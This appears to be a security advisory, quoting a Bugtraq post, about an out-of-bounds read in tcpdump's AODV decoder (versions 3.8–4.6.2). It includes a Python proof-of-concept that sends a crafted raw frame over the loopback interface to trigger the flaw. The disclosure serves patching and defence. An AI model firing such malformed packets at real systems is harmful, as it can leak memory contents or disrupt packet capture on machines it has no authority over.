Following issue was reported in [1]:
...
The application decoder for the Ad hoc On-Demand Distance Vector (AODV) protocol fails to perform input validation and performs unsafe out-of-bound accesses. The application will usually not crash, but perform out-of-bounds accesses and output/leak larger amounts of invalid data, which might lead to dropped packets. It is unknown if other payload exists that might trigger segfaults.

To reproduce start tcpdump on a network interface

   sudo tcpdump -i lo -s 0 -n -v

(running the program with sudo might hide a possible segfault message on certain environments, see dmesg for details)
and use the following python program to generate a frame on the network (might also need sudo):

#!/usr/bin/env python
    from socket import socket, AF_PACKET, SOCK_RAW
    s = socket(AF_PACKET, SOCK_RAW)
    s.bind(("lo", 0))
    aovd_frame = "\x00\x00\x00\x00\x00\x00\x00\x00\x8c\x7a\xdf\x6f\x08\x00\x45\x00\xe6\x3d\xf3\x7f\x40\x00\x40\x11\x30\xc6\x0a\x01\x01\x68\x0a\x02\x02\x02\x02\x8e\x0d\x00\x4b\x00\x00\xe8\x12\x00\x00\x00\x00\x1f\xc6\x51\x35\x97\x00\x24\x8c\x7a\xdf\x6f\x08\x00\x45\x00\xe6\x3d\xf3\x7f\x40\x00\x40\x11\x30\xc6\x0a\x01\x01"
    s.send(aovd_frame)

Affected versions are 3.8 through 4.6.2
...

[1]: http://seclists.org/bugtraq/2014/Nov/88